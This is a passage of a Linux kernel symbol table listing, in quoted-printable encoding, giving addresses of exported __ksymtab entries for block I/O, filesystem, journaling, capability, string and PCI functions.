10311db8 r __ksymtab_bio_alloc_bioset=0A=
10311dc0 r __ksymtab_bioset_free=0A=
10311dc8 r __ksymtab_bioset_create=0A=
10311dd0 r __ksymtab_bio_uncopy_user=0A=
10311dd8 r __ksymtab_bio_copy_user=0A=
10311de0 r __ksymtab_bio_split_pool=0A=
10311de8 r __ksymtab_bio_split=0A=
10311df0 r __ksymtab_bio_pair_release=0A=
10311df8 r __ksymtab_bio_map_kern=0A=
10311e00 r __ksymtab_bio_unmap_user=0A=
10311e08 r __ksymtab_bio_map_user=0A=
10311e10 r __ksymtab_bio_get_nr_vecs=0A=
10311e18 r __ksymtab_bio_add_page=0A=
10311e20 r __ksymtab_bio_hw_segments=0A=
10311e28 r __ksymtab_bio_phys_segments=0A=
10311e30 r __ksymtab_bio_clone=0A=
10311e38 r __ksymtab___bio_clone=0A=
10311e40 r __ksymtab_bio_init=0A=
10311e48 r __ksymtab_bio_endio=0A=
10311e50 r __ksymtab_bio_free=0A=
10311e58 r __ksymtab_bio_put=0A=
10311e60 r __ksymtab_bio_alloc=0A=
10311e68 r __ksymtab_zero_fill_bio=0A=
10311e70 r __ksymtab_kern_mount=0A=
10311e78 r __ksymtab_get_sb_single=0A=
10311e80 r __ksymtab_get_sb_nodev=0A=
10311e88 r __ksymtab_kill_block_super=0A=
10311e90 r __ksymtab_get_sb_bdev=0A=
10311e98 r __ksymtab_kill_litter_super=0A=
10311ea0 r __ksymtab_kill_anon_super=0A=
10311ea8 r __ksymtab_set_anon_super=0A=
10311eb0 r __ksymtab_get_super=0A=
10311eb8 r __ksymtab_drop_super=0A=
10311ec0 r __ksymtab_sget=0A=
10311ec8 r __ksymtab_generic_shutdown_super=0A=
10311ed0 r __ksymtab_deactivate_super=0A=
10311ed8 r __ksymtab_close_bdev_excl=0A=
10311ee0 r __ksymtab_open_bdev_excl=0A=
10311ee8 r __ksymtab_ioctl_by_bdev=0A=
10311ef0 r __ksymtab_blkdev_put=0A=
10311ef8 r __ksymtab_blkdev_get=0A=
10311f00 r __ksymtab_bd_set_size=0A=
10311f08 r __ksymtab_check_disk_change=0A=
10311f10 r __ksymtab_open_by_devnum=0A=
10311f18 r __ksymtab_bd_release=0A=
10311f20 r __ksymtab_bd_claim=0A=
10311f28 r __ksymtab_bdput=0A=
10311f30 r __ksymtab_bdget=0A=
10311f38 r __ksymtab_sb_min_blocksize=0A=
10311f40 r __ksymtab_sb_set_blocksize=0A=
10311f48 r __ksymtab_set_blocksize=0A=
10311f50 r __ksymtab_I_BDEV=0A=
10311f58 r __ksymtab_unregister_chrdev=0A=
10311f60 r __ksymtab_register_chrdev=0A=
10311f68 r __ksymtab_cdev_add=0A=
10311f70 r __ksymtab_cdev_del=0A=
10311f78 r __ksymtab_cdev_alloc=0A=
10311f80 r __ksymtab_cdev_init=0A=
10311f88 r __ksymtab_alloc_chrdev_region=0A=
10311f90 r __ksymtab_unregister_chrdev_region=0A=
10311f98 r __ksymtab_register_chrdev_region=0A=
10311fa0 r __ksymtab_inode_set_bytes=0A=
10311fa8 r __ksymtab_inode_get_bytes=0A=
10311fb0 r __ksymtab_inode_sub_bytes=0A=
10311fb8 r __ksymtab_inode_add_bytes=0A=
10311fc0 r __ksymtab_vfs_fstat=0A=
10311fc8 r __ksymtab_vfs_lstat=0A=
10311fd0 r __ksymtab_vfs_stat=0A=
10311fd8 r __ksymtab_vfs_getattr=0A=
10311fe0 r __ksymtab_generic_fillattr=0A=
10311fe8 r __ksymtab_set_binfmt=0A=
10311ff0 r __ksymtab_search_binary_handler=0A=
10311ff8 r __ksymtab_remove_arg_zero=0A=
10312000 r __ksymtab_compute_creds=0A=
10312008 r __ksymtab_prepare_binprm=0A=
10312010 r __ksymtab_flush_old_exec=0A=
10312018 r __ksymtab_kernel_read=0A=
10312020 r __ksymtab_open_exec=0A=
10312028 r __ksymtab_setup_arg_pages=0A=
10312030 r __ksymtab_copy_strings_kernel=0A=
10312038 r __ksymtab_unregister_binfmt=0A=
10312040 r __ksymtab_register_binfmt=0A=
10312048 r __ksymtab_suid_dumpable=0A=
10312050 r __ksymtab_generic_readlink=0A=
10312058 r __ksymtab_dentry_unhash=0A=
10312060 r __ksymtab_vfs_unlink=0A=
10312068 r __ksymtab_vfs_symlink=0A=
10312070 r __ksymtab_vfs_rmdir=0A=
10312078 r __ksymtab_vfs_rename=0A=
10312080 r __ksymtab_vfs_readlink=0A=
10312088 r __ksymtab_generic_permission=0A=
10312090 r __ksymtab_vfs_mknod=0A=
10312098 r __ksymtab_vfs_mkdir=0A=
103120a0 r __ksymtab_vfs_link=0A=
103120a8 r __ksymtab_vfs_follow_link=0A=
103120b0 r __ksymtab_vfs_create=0A=
103120b8 r __ksymtab_unlock_rename=0A=
103120c0 r __ksymtab_file_permission=0A=
103120c8 r __ksymtab_vfs_permission=0A=
103120d0 r __ksymtab_permission=0A=
103120d8 r __ksymtab_path_walk=0A=
103120e0 r __ksymtab_path_release=0A=
103120e8 r __ksymtab_path_lookup=0A=
103120f0 r __ksymtab_page_symlink_inode_operations=0A=
103120f8 r __ksymtab_page_symlink=0A=
10312100 r __ksymtab_page_readlink=0A=
10312108 r __ksymtab_page_put_link=0A=
10312110 r __ksymtab_page_follow_link_light=0A=
10312118 r __ksymtab_lookup_one_len=0A=
10312120 r __ksymtab_lookup_hash=0A=
10312128 r __ksymtab_lock_rename=0A=
10312130 r __ksymtab_getname=0A=
10312138 r __ksymtab_get_write_access=0A=
10312140 r __ksymtab_follow_up=0A=
10312148 r __ksymtab_follow_down=0A=
10312150 r __ksymtab___user_walk=0A=
10312158 r __ksymtab_kill_fasync=0A=
10312160 r __ksymtab___kill_fasync=0A=
10312168 r __ksymtab_fasync_helper=0A=
10312170 r __ksymtab_f_setown=0A=
10312178 r __ksymtab_vfs_readdir=0A=
10312180 r __ksymtab_poll_freewait=0A=
10312188 r __ksymtab_poll_initwait=0A=
10312190 r __ksymtab_steal_locks=0A=
10312198 r __ksymtab_lock_may_write=0A=
103121a0 r __ksymtab_lock_may_read=0A=
103121a8 r __ksymtab_posix_unblock_lock=0A=
103121b0 r __ksymtab_posix_block_lock=0A=
103121b8 r __ksymtab_locks_remove_posix=0A=
103121c0 r __ksymtab_flock_lock_file_wait=0A=
103121c8 r __ksymtab_setlease=0A=
103121d0 r __ksymtab_lease_get_mtime=0A=
103121d8 r __ksymtab___break_lease=0A=
103121e0 r __ksymtab_lease_modify=0A=
103121e8 r __ksymtab_locks_mandatory_area=0A=
103121f0 r __ksymtab_posix_lock_file_wait=0A=
103121f8 r __ksymtab_posix_lock_file=0A=
10312200 r __ksymtab_posix_locks_deadlock=0A=
10312208 r __ksymtab_posix_test_lock=0A=
10312210 r __ksymtab_locks_copy_lock=0A=
10312218 r __ksymtab_locks_init_lock=0A=
10312220 r __ksymtab_file_lock_list=0A=
10312228 r __ksymtab_shrink_dcache_sb=0A=
10312230 r __ksymtab_shrink_dcache_parent=0A=
10312238 r __ksymtab_names_cachep=0A=
10312240 r __ksymtab_have_submounts=0A=
10312248 r __ksymtab_find_inode_number=0A=
10312250 r __ksymtab_dput=0A=
10312258 r __ksymtab_dget_locked=0A=
10312260 r __ksymtab_d_validate=0A=
10312268 r __ksymtab_d_splice_alias=0A=
10312270 r __ksymtab_d_rehash=0A=
10312278 r __ksymtab_d_prune_aliases=0A=
10312280 r __ksymtab_d_path=0A=
10312288 r __ksymtab_d_move=0A=
10312290 r __ksymtab_d_lookup=0A=
10312298 r __ksymtab_d_invalidate=0A=
103122a0 r __ksymtab_d_instantiate=0A=
103122a8 r __ksymtab_d_find_alias=0A=
103122b0 r __ksymtab_d_delete=0A=
103122b8 r __ksymtab_d_alloc_root=0A=
103122c0 r __ksymtab_d_alloc_anon=0A=
103122c8 r __ksymtab_d_alloc=0A=
103122d0 r __ksymtab_d_genocide=0A=
103122d8 r __ksymtab_d_instantiate_unique=0A=
103122e0 r __ksymtab_dcache_lock=0A=
103122e8 r __ksymtab_init_special_inode=0A=
103122f0 r __ksymtab_inode_needs_sync=0A=
103122f8 r __ksymtab_inode_update_time=0A=
10312300 r __ksymtab_update_atime=0A=
10312308 r __ksymtab_bmap=0A=
10312310 r __ksymtab_iput=0A=
10312318 r __ksymtab_generic_delete_inode=0A=
10312320 r __ksymtab_remove_inode_hash=0A=
10312328 r __ksymtab___insert_inode_hash=0A=
10312330 r __ksymtab_iget_locked=0A=
10312338 r __ksymtab_iget5_locked=0A=
10312340 r __ksymtab_ilookup=0A=
10312348 r __ksymtab_ilookup5=0A=
10312350 r __ksymtab_ilookup5_nowait=0A=
10312358 r __ksymtab_igrab=0A=
10312360 r __ksymtab_iunique=0A=
10312368 r __ksymtab_unlock_new_inode=0A=
10312370 r __ksymtab_new_inode=0A=
10312378 r __ksymtab___invalidate_device=0A=
10312380 r __ksymtab_invalidate_inodes=0A=
10312388 r __ksymtab_clear_inode=0A=
10312390 r __ksymtab_inode_init_once=0A=
10312398 r __ksymtab_notify_change=0A=
103123a0 r __ksymtab_inode_setattr=0A=
103123a8 r __ksymtab_inode_change_ok=0A=
103123b0 r __ksymtab_is_bad_inode=0A=
103123b8 r __ksymtab_make_bad_inode=0A=
103123c0 r __ksymtab_get_fs_type=0A=
103123c8 r __ksymtab_unregister_filesystem=0A=
103123d0 r __ksymtab_register_filesystem=0A=
103123d8 r __ksymtab_may_umount=0A=
103123e0 r __ksymtab_may_umount_tree=0A=
103123e8 r __ksymtab_mnt_unpin=0A=
103123f0 r __ksymtab_mnt_pin=0A=
103123f8 r __ksymtab_mntput_no_expire=0A=
10312400 r __ksymtab_wait_on_sync_kiocb=0A=
10312408 r __ksymtab_aio_put_req=0A=
10312410 r __ksymtab_aio_complete=0A=
10312418 r __ksymtab_kick_iocb=0A=
10312420 r __ksymtab_seq_puts=0A=
10312428 r __ksymtab_seq_putc=0A=
10312430 r __ksymtab_seq_release_private=0A=
10312438 r __ksymtab_single_release=0A=
10312440 r __ksymtab_single_open=0A=
10312448 r __ksymtab_seq_path=0A=
10312450 r __ksymtab_seq_printf=0A=
10312458 r __ksymtab_seq_escape=0A=
10312460 r __ksymtab_seq_release=0A=
10312468 r __ksymtab_seq_lseek=0A=
10312470 r __ksymtab_seq_read=0A=
10312478 r __ksymtab_seq_open=0A=
10312480 r __ksymtab_generic_removexattr=0A=
10312488 r __ksymtab_generic_setxattr=0A=
10312490 r __ksymtab_generic_listxattr=0A=
10312498 r __ksymtab_generic_getxattr=0A=
103124a0 r __ksymtab_simple_transaction_release=0A=
103124a8 r __ksymtab_simple_transaction_read=0A=
103124b0 r __ksymtab_simple_transaction_get=0A=
103124b8 r __ksymtab_simple_read_from_buffer=0A=
103124c0 r __ksymtab_simple_unlink=0A=
103124c8 r __ksymtab_simple_sync_file=0A=
103124d0 r __ksymtab_simple_statfs=0A=
103124d8 r __ksymtab_simple_rmdir=0A=
103124e0 r __ksymtab_simple_rename=0A=
103124e8 r __ksymtab_simple_release_fs=0A=
103124f0 r __ksymtab_simple_readpage=0A=
103124f8 r __ksymtab_simple_prepare_write=0A=
10312500 r __ksymtab_simple_pin_fs=0A=
10312508 r __ksymtab_simple_lookup=0A=
10312510 r __ksymtab_simple_link=0A=
10312518 r __ksymtab_simple_getattr=0A=
10312520 r __ksymtab_simple_fill_super=0A=
10312528 r __ksymtab_d_alloc_name=0A=
10312530 r __ksymtab_simple_empty=0A=
10312538 r __ksymtab_simple_dir_operations=0A=
10312540 r __ksymtab_simple_dir_inode_operations=0A=
10312548 r __ksymtab_simple_commit_write=0A=
10312550 r __ksymtab_get_sb_pseudo=0A=
10312558 r __ksymtab_generic_read_dir=0A=
10312560 r __ksymtab_dcache_readdir=0A=
10312568 r __ksymtab_dcache_dir_open=0A=
10312570 r __ksymtab_dcache_dir_lseek=0A=
10312578 r __ksymtab_dcache_dir_close=0A=
10312580 r __ksymtab_generic_osync_inode=0A=
10312588 r __ksymtab_sync_inode=0A=
10312590 r __ksymtab_write_inode_now=0A=
10312598 r __ksymtab___mark_inode_dirty=0A=
103125a0 r __ksymtab_mpage_writepage=0A=
103125a8 r __ksymtab_mpage_writepages=0A=
103125b0 r __ksymtab_mpage_readpage=0A=
103125b8 r __ksymtab_mpage_readpages=0A=
103125c0 r __ksymtab___blockdev_direct_IO=0A=
103125c8 r __ksymtab_posix_acl_permission=0A=
103125d0 r __ksymtab_posix_acl_chmod_masq=0A=
103125d8 r __ksymtab_posix_acl_create_masq=0A=
103125e0 r __ksymtab_posix_acl_from_mode=0A=
103125e8 r __ksymtab_posix_acl_equiv_mode=0A=
103125f0 r __ksymtab_posix_acl_valid=0A=
103125f8 r __ksymtab_posix_acl_clone=0A=
10312600 r __ksymtab_posix_acl_alloc=0A=
10312608 r __ksymtab_posix_acl_to_xattr=0A=
10312610 r __ksymtab_posix_acl_from_xattr=0A=
10312618 r __ksymtab___inode_dir_notify=0A=
10312620 r __ksymtab_proc_root_driver=0A=
10312628 r __ksymtab_proc_bus=0A=
10312630 r __ksymtab_proc_net_stat=0A=
10312638 r __ksymtab_proc_net=0A=
10312640 r __ksymtab_proc_root_fs=0A=
10312648 r __ksymtab_proc_root=0A=
10312650 r __ksymtab_remove_proc_entry=0A=
10312658 r __ksymtab_create_proc_entry=0A=
10312660 r __ksymtab_proc_mkdir=0A=
10312668 r __ksymtab_proc_symlink=0A=
10312670 r __ksymtab_read_dev_sector=0A=
10312678 r __ksymtab___bdevname=0A=
10312680 r __ksymtab_bdevname=0A=
10312688 r __ksymtab_journal_force_commit=0A=
10312690 r __ksymtab_journal_try_to_free_buffers=0A=
10312698 r __ksymtab_journal_invalidatepage=0A=
103126a0 r __ksymtab_journal_blocks_per_page=0A=
103126a8 r __ksymtab_journal_wipe=0A=
103126b0 r __ksymtab_journal_force_commit_nested=0A=
103126b8 r __ksymtab_journal_start_commit=0A=
103126c0 r __ksymtab_log_wait_commit=0A=
103126c8 r __ksymtab_journal_clear_err=0A=
103126d0 r __ksymtab_journal_ack_err=0A=
103126d8 r __ksymtab_journal_errno=0A=
103126e0 r __ksymtab_journal_abort=0A=
103126e8 r __ksymtab_journal_update_superblock=0A=
103126f0 r __ksymtab_journal_destroy=0A=
103126f8 r __ksymtab_journal_load=0A=
10312700 r __ksymtab_journal_create=0A=
10312708 r __ksymtab_journal_set_features=0A=
10312710 r __ksymtab_journal_check_available_features=0A=
10312718 r __ksymtab_journal_check_used_features=0A=
10312720 r __ksymtab_journal_update_format=0A=
10312728 r __ksymtab_journal_init_inode=0A=
10312730 r __ksymtab_journal_init_dev=0A=
10312738 r __ksymtab_journal_revoke=0A=
10312740 r __ksymtab_journal_flush=0A=
10312748 r __ksymtab_journal_forget=0A=
10312750 r __ksymtab_journal_release_buffer=0A=
10312758 r __ksymtab_journal_dirty_metadata=0A=
10312760 r __ksymtab_journal_dirty_data=0A=
10312768 r __ksymtab_journal_get_undo_access=0A=
10312770 r __ksymtab_journal_get_create_access=0A=
10312778 r __ksymtab_journal_get_write_access=0A=
10312780 r __ksymtab_journal_unlock_updates=0A=
10312788 r __ksymtab_journal_lock_updates=0A=
10312790 r __ksymtab_journal_stop=0A=
10312798 r __ksymtab_journal_extend=0A=
103127a0 r __ksymtab_journal_restart=0A=
103127a8 r __ksymtab_journal_start=0A=
103127b0 r __ksymtab_utf8_wcstombs=0A=
103127b8 r __ksymtab_utf8_wctomb=0A=
103127c0 r __ksymtab_utf8_mbstowcs=0A=
103127c8 r __ksymtab_utf8_mbtowc=0A=
103127d0 r __ksymtab_load_nls_default=0A=
103127d8 r __ksymtab_load_nls=0A=
103127e0 r __ksymtab_unload_nls=0A=
103127e8 r __ksymtab_unregister_nls=0A=
103127f0 r __ksymtab_register_nls=0A=
103127f8 r __ksymtab_cap_vm_enough_memory=0A=
10312800 r __ksymtab_cap_syslog=0A=
10312808 r __ksymtab_cap_task_reparent_to_init=0A=
10312810 r __ksymtab_cap_task_post_setuid=0A=
10312818 r __ksymtab_cap_inode_removexattr=0A=
10312820 r __ksymtab_cap_inode_setxattr=0A=
10312828 r __ksymtab_cap_bprm_secureexec=0A=
10312830 r __ksymtab_cap_bprm_apply_creds=0A=
10312838 r __ksymtab_cap_bprm_set_security=0A=
10312840 r __ksymtab_cap_capset_set=0A=
10312848 r __ksymtab_cap_capset_check=0A=
10312850 r __ksymtab_cap_capget=0A=
10312858 r __ksymtab_cap_ptrace=0A=
10312860 r __ksymtab_cap_settime=0A=
10312868 r __ksymtab_cap_capable=0A=
10312870 r __ksymtab_cap_netlink_recv=0A=
10312878 r __ksymtab_cap_netlink_send=0A=
10312880 r __ksymtab_elevator_init=0A=
10312888 r __ksymtab_elevator_exit=0A=
10312890 r __ksymtab_elv_completed_request=0A=
10312898 r __ksymtab_elv_queue_empty=0A=
103128a0 r __ksymtab_elv_dequeue_request=0A=
103128a8 r __ksymtab_elv_next_request=0A=
103128b0 r __ksymtab_elv_requeue_request=0A=
103128b8 r __ksymtab___elv_add_request=0A=
103128c0 r __ksymtab_elv_add_request=0A=
103128c8 r __ksymtab_elv_dispatch_sort=0A=
103128d0 r __ksymtab_elv_try_merge=0A=
103128d8 r __ksymtab_elv_rq_merge_ok=0A=
103128e0 r __ksymtab_swap_io_context=0A=
103128e8 r __ksymtab_copy_io_context=0A=
103128f0 r __ksymtab_get_io_context=0A=
103128f8 r __ksymtab_current_io_context=0A=
10312900 r __ksymtab_put_io_context=0A=
10312908 r __ksymtab_kblockd_flush=0A=
10312910 r __ksymtab_kblockd_schedule_work=0A=
10312918 r __ksymtab_blk_rq_bio_prep=0A=
10312920 r __ksymtab_end_request=0A=
10312928 r __ksymtab_end_that_request_last=0A=
10312930 r __ksymtab_end_that_request_chunk=0A=
10312938 r __ksymtab_end_that_request_first=0A=
10312940 r __ksymtab_submit_bio=0A=
10312948 r __ksymtab_generic_make_request=0A=
10312950 r __ksymtab_blk_attempt_remerge=0A=
10312958 r __ksymtab_blk_congestion_wait=0A=
10312960 r __ksymtab_blk_end_sync_rq=0A=
10312968 r __ksymtab_blk_put_request=0A=
10312970 r __ksymtab_blkdev_issue_flush=0A=
10312978 r __ksymtab_blk_execute_rq=0A=
10312980 r __ksymtab_blk_rq_map_kern=0A=
10312988 r __ksymtab_blk_rq_unmap_user=0A=
10312990 r __ksymtab_blk_rq_map_user_iov=0A=
10312998 r __ksymtab_blk_rq_map_user=0A=
103129a0 r __ksymtab_blk_insert_request=0A=
103129a8 r __ksymtab_blk_requeue_request=0A=
103129b0 r __ksymtab_blk_get_request=0A=
103129b8 r __ksymtab_blk_get_queue=0A=
103129c0 r __ksymtab_blk_init_queue_node=0A=
103129c8 r __ksymtab_blk_init_queue=0A=
103129d0 r __ksymtab_blk_alloc_queue_node=0A=
103129d8 r __ksymtab_blk_alloc_queue=0A=
103129e0 r __ksymtab_blk_cleanup_queue=0A=
103129e8 r __ksymtab_blk_run_queue=0A=
103129f0 r __ksymtab_blk_sync_queue=0A=
103129f8 r __ksymtab_blk_stop_queue=0A=
10312a00 r __ksymtab_blk_start_queue=0A=
10312a08 r __ksymtab_generic_unplug_device=0A=
10312a10 r __ksymtab___generic_unplug_device=0A=
10312a18 r __ksymtab_blk_remove_plug=0A=
10312a20 r __ksymtab_blk_plug_device=0A=
10312a28 r __ksymtab_blk_rq_map_sg=0A=
10312a30 r __ksymtab_blk_dump_rq_flags=0A=
10312a38 r __ksymtab_blk_queue_invalidate_tags=0A=
10312a40 r __ksymtab_blk_queue_start_tag=0A=
10312a48 r __ksymtab_blk_queue_end_tag=0A=
10312a50 r __ksymtab_blk_queue_resize_tags=0A=
10312a58 r __ksymtab_blk_queue_init_tags=0A=
10312a60 r __ksymtab_blk_queue_free_tags=0A=
10312a68 r __ksymtab_blk_queue_find_tag=0A=
10312a70 r __ksymtab_blk_queue_dma_alignment=0A=
10312a78 r __ksymtab_blk_queue_segment_boundary=0A=
10312a80 r __ksymtab_blk_queue_stack_limits=0A=
10312a88 r __ksymtab_blk_queue_hardsect_size=0A=
10312a90 r __ksymtab_blk_queue_max_segment_size=0A=
10312a98 r __ksymtab_blk_queue_max_hw_segments=0A=
10312aa0 r __ksymtab_blk_queue_max_phys_segments=0A=
10312aa8 r __ksymtab_blk_queue_max_sectors=0A=
10312ab0 r __ksymtab_blk_queue_bounce_limit=0A=
10312ab8 r __ksymtab_blk_complete_barrier_rq_locked=0A=
10312ac0 r __ksymtab_blk_complete_barrier_rq=0A=
10312ac8 r __ksymtab_blk_queue_issue_flush_fn=0A=
10312ad0 r __ksymtab_blk_queue_ordered=0A=
10312ad8 r __ksymtab_blk_queue_make_request=0A=
10312ae0 r __ksymtab_blk_queue_merge_bvec=0A=
10312ae8 r __ksymtab_blk_queue_prep_rq=0A=
10312af0 r __ksymtab_blk_queue_activity_fn=0A=
10312af8 r __ksymtab_blk_get_backing_dev_info=0A=
10312b00 r __ksymtab_blk_max_pfn=0A=
10312b08 r __ksymtab_blk_max_low_pfn=0A=
10312b10 r __ksymtab_invalidate_partition=0A=
10312b18 r __ksymtab_bdev_read_only=0A=
10312b20 r __ksymtab_set_disk_ro=0A=
10312b28 r __ksymtab_set_device_ro=0A=
10312b30 r __ksymtab_put_disk=0A=
10312b38 r __ksymtab_get_disk=0A=
10312b40 r __ksymtab_alloc_disk_node=0A=
10312b48 r __ksymtab_alloc_disk=0A=
10312b50 r __ksymtab_del_gendisk=0A=
10312b58 r __ksymtab_add_disk=0A=
10312b60 r __ksymtab_blk_unregister_region=0A=
10312b68 r __ksymtab_blk_register_region=0A=
10312b70 r __ksymtab_unregister_blkdev=0A=
10312b78 r __ksymtab_register_blkdev=0A=
10312b80 r __ksymtab_scsi_cmd_ioctl=0A=
10312b88 r __ksymtab_scsi_command_size=0A=
10312b90 r __ksymtab_bitmap_allocate_region=0A=
10312b98 r __ksymtab_bitmap_release_region=0A=
10312ba0 r __ksymtab_bitmap_find_free_region=0A=
10312ba8 r __ksymtab_bitmap_bitremap=0A=
10312bb0 r __ksymtab_bitmap_remap=0A=
10312bb8 r __ksymtab_bitmap_parselist=0A=
10312bc0 r __ksymtab_bitmap_scnlistprintf=0A=
10312bc8 r __ksymtab_bitmap_parse=0A=
10312bd0 r __ksymtab_bitmap_scnprintf=0A=
10312bd8 r __ksymtab___bitmap_weight=0A=
10312be0 r __ksymtab___bitmap_subset=0A=
10312be8 r __ksymtab___bitmap_intersects=0A=
10312bf0 r __ksymtab___bitmap_andnot=0A=
10312bf8 r __ksymtab___bitmap_xor=0A=
10312c00 r __ksymtab___bitmap_or=0A=
10312c08 r __ksymtab___bitmap_and=0A=
10312c10 r __ksymtab___bitmap_shift_left=0A=
10312c18 r __ksymtab___bitmap_shift_right=0A=
10312c20 r __ksymtab___bitmap_complement=0A=
10312c28 r __ksymtab___bitmap_equal=0A=
10312c30 r __ksymtab___bitmap_full=0A=
10312c38 r __ksymtab___bitmap_empty=0A=
10312c40 r __ksymtab_get_options=0A=
10312c48 r __ksymtab_get_option=0A=
10312c50 r __ksymtab_memparse=0A=
10312c58 r __ksymtab__ctype=0A=
10312c60 r __ksymtab__atomic_dec_and_lock=0A=
10312c68 r __ksymtab___div64_32=0A=
10312c70 r __ksymtab_idr_init=0A=
10312c78 r __ksymtab_idr_find=0A=
10312c80 r __ksymtab_idr_destroy=0A=
10312c88 r __ksymtab_idr_remove=0A=
10312c90 r __ksymtab_idr_get_new=0A=
10312c98 r __ksymtab_idr_get_new_above=0A=
10312ca0 r __ksymtab_idr_pre_get=0A=
10312ca8 r __ksymtab_int_sqrt=0A=
10312cb0 r __ksymtab_subsys_remove_file=0A=
10312cb8 r __ksymtab_subsys_create_file=0A=
10312cc0 r __ksymtab_subsystem_unregister=0A=
10312cc8 r __ksymtab_subsystem_register=0A=
10312cd0 r __ksymtab_subsystem_init=0A=
10312cd8 r __ksymtab_kset_find_obj=0A=
10312ce0 r __ksymtab_kset_unregister=0A=
10312ce8 r __ksymtab_kset_register=0A=
10312cf0 r __ksymtab_kobject_del=0A=
10312cf8 r __ksymtab_kobject_add=0A=
10312d00 r __ksymtab_kobject_put=0A=
10312d08 r __ksymtab_kobject_get=0A=
10312d10 r __ksymtab_kobject_unregister=0A=
10312d18 r __ksymtab_kobject_register=0A=
10312d20 r __ksymtab_kobject_init=0A=
10312d28 r __ksymtab_kobject_set_name=0A=
10312d30 r __ksymtab_add_hotplug_env_var=0A=
10312d38 r __ksymtab_kobject_hotplug=0A=
10312d40 r __ksymtab_kref_put=0A=
10312d48 r __ksymtab_kref_get=0A=
10312d50 r __ksymtab_kref_init=0A=
10312d58 r __ksymtab_radix_tree_tagged=0A=
10312d60 r __ksymtab_radix_tree_delete=0A=
10312d68 r __ksymtab_radix_tree_gang_lookup_tag=0A=
10312d70 r __ksymtab_radix_tree_gang_lookup=0A=
10312d78 r __ksymtab_radix_tree_tag_clear=0A=
10312d80 r __ksymtab_radix_tree_tag_set=0A=
10312d88 r __ksymtab_radix_tree_lookup=0A=
10312d90 r __ksymtab_radix_tree_lookup_slot=0A=
10312d98 r __ksymtab_radix_tree_insert=0A=
10312da0 r __ksymtab_rb_replace_node=0A=
10312da8 r __ksymtab_rb_prev=0A=
10312db0 r __ksymtab_rb_next=0A=
10312db8 r __ksymtab_rb_last=0A=
10312dc0 r __ksymtab_rb_first=0A=
10312dc8 r __ksymtab_rb_erase=0A=
10312dd0 r __ksymtab_rb_insert_color=0A=
10312dd8 r __ksymtab___downgrade_write=0A=
10312de0 r __ksymtab___up_write=0A=
10312de8 r __ksymtab___up_read=0A=
10312df0 r __ksymtab___down_write_trylock=0A=
10312df8 r __ksymtab___down_write=0A=
10312e00 r __ksymtab___down_read_trylock=0A=
10312e08 r __ksymtab___down_read=0A=
10312e10 r __ksymtab_init_rwsem=0A=
10312e18 r __ksymtab_memchr=0A=
10312e20 r __ksymtab_strstr=0A=
10312e28 r __ksymtab_memscan=0A=
10312e30 r __ksymtab_memcmp=0A=
10312e38 r __ksymtab_memmove=0A=
10312e40 r __ksymtab_strsep=0A=
10312e48 r __ksymtab_strpbrk=0A=
10312e50 r __ksymtab_strcspn=0A=
10312e58 r __ksymtab_strspn=0A=
10312e60 r __ksymtab_strnlen=0A=
10312e68 r __ksymtab_strlen=0A=
10312e70 r __ksymtab_strnchr=0A=
10312e78 r __ksymtab_strrchr=0A=
10312e80 r __ksymtab_strchr=0A=
10312e88 r __ksymtab_strncmp=0A=
10312e90 r __ksymtab_strcmp=0A=
10312e98 r __ksymtab_strlcat=0A=
10312ea0 r __ksymtab_strncat=0A=
10312ea8 r __ksymtab_strcat=0A=
10312eb0 r __ksymtab_strlcpy=0A=
10312eb8 r __ksymtab_strncpy=0A=
10312ec0 r __ksymtab_strcpy=0A=
10312ec8 r __ksymtab_strnicmp=0A=
10312ed0 r __ksymtab_sscanf=0A=
10312ed8 r __ksymtab_vsscanf=0A=
10312ee0 r __ksymtab_sprintf=0A=
10312ee8 r __ksymtab_vsprintf=0A=
10312ef0 r __ksymtab_scnprintf=0A=
10312ef8 r __ksymtab_snprintf=0A=
10312f00 r __ksymtab_vscnprintf=0A=
10312f08 r __ksymtab_vsnprintf=0A=
10312f10 r __ksymtab_simple_strtoull=0A=
10312f18 r __ksymtab_simple_strtol=0A=
10312f20 r __ksymtab_simple_strtoul=0A=
10312f28 r __ksymtab_outsl=0A=
10312f30 r __ksymtab_outsw=0A=
10312f38 r __ksymtab_outsb=0A=
10312f40 r __ksymtab_insl=0A=
10312f48 r __ksymtab_insw=0A=
10312f50 r __ksymtab_insb=0A=
10312f58 r __ksymtab_memcpy=0A=
10312f60 r __ksymtab_copy_in_user=0A=
10312f68 r __ksymtab_copy_from_user=0A=
10312f70 r __ksymtab_copy_to_user=0A=
10312f78 r __ksymtab_sort=0A=
10312f80 r __ksymtab_match_strdup=0A=
10312f88 r __ksymtab_match_strcpy=0A=
10312f90 r __ksymtab_match_hex=0A=
10312f98 r __ksymtab_match_octal=0A=
10312fa0 r __ksymtab_match_int=0A=
10312fa8 r __ksymtab_match_token=0A=
10312fb0 r __ksymtab_half_md4_transform=0A=
10312fb8 r __ksymtab_bitreverse=0A=
10312fc0 r __ksymtab_crc32_be=0A=
10312fc8 r __ksymtab_crc32_le=0A=
10312fd0 r __ksymtab_crc32c_be=0A=
10312fd8 r __ksymtab_crc32c_le=0A=
10312fe0 r __ksymtab_pci_iounmap=0A=
10312fe8 r __ksymtab_pci_iomap=0A=
10312ff0 r __ksymtab_ioport_unmap=0A=
10312ff8 r __ksymtab_ioport_map=0A=
10313000 r __ksymtab_iowrite32_rep=0A=
10313008 r __ksymtab_iowrite16_rep=0A=
10313010 r __ksymtab_iowrite8_rep=0A=
10313018 r __ksymtab_ioread32_rep=0A=
10313020 r __ksymtab_ioread16_rep=0A=
10313028 r __ksymtab_ioread8_rep=0A=
10313030 r __ksymtab_iowrite32be=0A=
10313038 r __ksymtab_iowrite32=0A=
10313040 r __ksymtab_iowrite16be=0A=
10313048 r __ksymtab_iowrite16=0A=
10313050 r __ksymtab_iowrite8=0A=
10313058 r __ksymtab_ioread32be=0A=
10313060 r __ksymtab_ioread32=0A=
10313068 r __ksymtab_ioread16be=0A=
10313070 r __ksymtab_ioread16=0A=
10313078 r __ksymtab_ioread8=0A=
10313080 r __ksymtab_pci_bus_write_config_dword=0A=
10313088 r __ksymtab_pci_bus_write_config_word=0A=
10313090 r __ksymtab_pci_bus_write_config_byte=0A=
10313098 r __ksymtab_pci_bus_read_config_dword=0A=
103130a0 r __ksymtab_pci_bus_read_config_word=0A=
103130a8 r __ksymtab_pci_bus_read_config_byte=0A=
103130b0 r __ksymtab_pci_enable_bridges=0A=
103130b8 r __ksymtab_pci_bus_add_devices=0A=
103130c0 r __ksymtab_pci_bus_alloc_resource=0A=
